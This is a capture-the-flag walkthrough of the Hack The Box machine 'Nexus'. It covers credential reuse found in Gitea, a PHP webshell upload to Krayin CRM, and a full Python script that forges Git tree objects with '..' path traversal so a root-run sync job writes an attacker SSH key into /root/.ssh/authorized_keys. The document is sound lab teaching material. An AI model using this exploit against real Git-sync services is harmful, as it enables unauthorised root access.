Nexus HTB - Complete Writeup & Walkthrough

Machine Overview: Nexus is a Linux-based Capture The Flag (CTF) machine featuring web application enumeration, credential reuse, an application vulnerability leading to remote code execution (`www-data`), a horizontal pivot to user `jones` , and a sophisticated privilege escalation to `root` via a custom Git low-level object manipulation exploit (Path Traversal / Arbitrary File Write via a template synchronization script).

Phase 1: Reconnaissance & Enumeration

1. Network Scanning (Nmap)

We start with a comprehensive `nmap` scan to discover open ports and services on the target IP (`10.129.118.114`).

Bash

```
nmap -sS -T5 -sC -sV 10.129.118.114 -p-
```

Results:

- **Port 22/tcp:** OpenSSH 9.6p1
- **Port 80/tcp:** Nginx 1.24.0 (Ubuntu) hosting a static page for "Nexus Energy Authority"

2. Subdomain Fuzzing

Since port 80 shows a static company landing page, we check for virtual hosts (subdomains) using `ffuf` with a standard SecLists wordlist.

Bash

```
ffuf -u http://nexus.htb/ -H "Host: FUZZ.nexus.htb" -w
/opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fs 154
```

Discovered Subdomains:

- `git.nexus.htb` (Gitea instance)
- `billing.nexus.htb` (Krayin CRM application)

Phase 2: Initial Access (Web & CRM Exploitation)

1. Exploring Gitea (`git.nexus.htb`)

Navigating to `git.nexus.htb`, we explore repositories and commit history. We discover:

- A configuration file/commit containing email addresses (e.g., `j.matthew@nexus.htb` for user **Jones Matthew**) and internal credentials/hashes.
- While these credentials fail on Gitea directly, we pivot to testing them elsewhere.

2. Authenticating to Billing (`billing.nexus.htb`)

Using the credentials discovered in Gitea (`j.matthew@nexus.htb` / `N27xh!!2ucY04` or related variations found in configuration artifacts), we log into the Krayin CRM instance running on `billing.nexus.htb`.

3. Remote Code Execution (RCE) on Krayin CRM

After researching the specific version of Krayin CRM deployed, we identify a vulnerability in its mail composition / file management system.

- By uploading a malicious PHP webshell via the CRM's attachment/mail feature, we can access it directly inside the web storage directory (`/var/www/html/storage/app/public/...` or similar storage paths).
- Executing this gives us an interactive remote shell as the `www-data` user.

Phase 3: Horizontal Pivot to User `jones`

Once inside the system as `www-data`, we perform local enumeration:

1. We search through application configuration files and find a Laravel `.env` file containing updated database credentials and shell passwords.
2. We find a password for user `jones`: `y27xb3ha!!74GbR`.
3. We log in via SSH using user `jones`:

Bash

```
ssh jones@nexus.htb
```

- **User Flag:** Successfully retrieved from `jones`'s home directory.

Phase 4: Vertical Privilege Escalation (Root via Git Path Traversal)

1. System Enumeration

As user `jones`, we inspect background services, tasks, and scripts. We discover a Python automation script located at `/etc/gitea/template-sync.py` (or referenced in system logs/services), which runs periodically with higher privileges to synchronize template repositories from Gitea.

2. Analyzing the Vulnerability (`template-sync.py`)

Reviewing the script's source code reveals how it processes template repositories from Gitea:

- It queries Gitea API for template repositories.
- It extracts tree entries and blobs using low-level git commands (`git ls-tree` and `git cat-file blob`).
- It writes files using `os.path.join(stage_path, filepath)` .
- **The Flaw:** If a repository contains object paths with directory traversal sequences (`../../`), the script writes files outside the intended staging directory, leading to an **Arbitrary File Write** under the privileges executing the synchronization script.

3. Crafting the Malicious Git Exploit (`build.py`)

Standard Git CLI prevents users from committing path traversal sequences (`..`) into tree entries. To bypass this, we write a Python script that manually crafts low-level Git objects (`blob` , `tree` , `commit`) using zlib compression and SHA-1 hashing, structuring the tree with multiple parent traversal nodes (`..`) to escape the staging directory and target `/root/.ssh/authorized_keys` .

Here is the complete exploit script used to generate the payload repository:

Python

```
import hashlib
import os
import zlib
import time


def write_object(obj_type, data):
    # Convert string data to bytes if necessary
    if isinstance(data, str):
        data = data.encode('utf-8')

    header = f"{obj_type} {len(data)}".encode() + b"\x00"
    store = header + data
    sha = hashlib.sha1(store).hexdigest()
```

```
    folder = f".git/objects/{sha[:2]}"
    os.makedirs(folder, exist_ok=True)
    file_path = f"{folder}/{sha[2:]}"

    if not os.path.exists(file_path):
        # Write compressed data in binary mode ('wb')
        with open(file_path, "wb") as f:
            f.write(zlib.compress(store))

    return sha


def create_entry(mode, name, sha):
    return f"{mode} {name}".encode() + b"\x00" + bytes.fromhex(sha)


if not os.path.isdir(".git"):
    print("No git repository found. Run inside a git repository.")
    exit(1)

# Handle SSH key path expansion
ssh_path = os.path.expanduser("~/.ssh/nexus_htb.pub")
if not os.path.exists(ssh_path):
    # Fallback if the default key doesn't exist
    ssh_path = "/tmp/.k.pub"

with open(ssh_path, "r") as f:
    ssh_key = f.readline().strip() + "\n"

# 1. Create blobs
blob = write_object("blob", ssh_key)
readme = write_object("blob", "# Template\n")

# 2. Build the malicious tree structure (Path Traversal)
authorized_keys_entry = create_entry("100644", "authorized_keys", blob)
authorized_keys_tree = write_object("tree", authorized_keys_entry)

ssh_entry = create_entry("40000", ".ssh", authorized_keys_tree)
ssh_tree = write_object("tree", ssh_entry)

root_entry = create_entry("40000", "root", ssh_tree)
root_tree = write_object("tree", root_entry)

root = root_tree

# Successive traversals (.. x4) to escape the staging directory
```

```
exploit = write_object("tree", create_entry("40000", "..", root))
exploit = write_object("tree", create_entry("40000", "..", exploit))
exploit = write_object("tree", create_entry("40000", "..", exploit))
exploit = write_object("tree", create_entry("40000", "..", exploit))

# 3. Root tree combining the harmless README and the exploit path
git_root_data = create_entry("100644", "README.md", readme) +
create_entry("40000", "..", exploit)
git_root = write_object("tree", git_root_data)

# 4. Create the Commit object
ts = int(time.time())
commit_msg = f"tree {git_root}\nauthor x <x@x> {ts} +0000\ncommitter x <x@x>
{ts} +0000\n\ninit\n"
commit_sha = write_object("commit", commit_msg.encode('utf-8'))

# 5. Write the main branch reference
os.makedirs(os.path.join(".git", "refs", "heads"), exist_ok=True)
with open(os.path.join(".git", "refs", "heads", "main"), "w") as f:
    f.write(commit_sha + "\n")

print(f"Done! Commit hash: {commit_sha}")
```

4. Executing the Exploit & Pushing to Gitea

1. Initialize a local repository, create our `build.py` script, and run it:

   Bash

   ```
   mkdir rce && cd rce
   git init -b main
   python3 build.py
   ```

2. Push the forced commit to our Gitea repository and mark it as a **Template** in the Gitea repository settings:

   Bash

   ```
   git remote add origin http://jones@git.nexus.htb/jones/rce.git
   git push -u origin main --force
   ```

3. Once the server's background synchronization script runs, our public SSH key is written directly to `/root/.ssh/authorized_keys`.

5. Capturing the Root Flag

We log into the machine via SSH using our private key with root privileges:

Bash

```
ssh root@nexus.htb -i ~/.ssh/nexus_htb
```

Bash

```
root@nexus:~# cat root.txt
87ffac8383fa8413ee525b80d5dd9eb1
```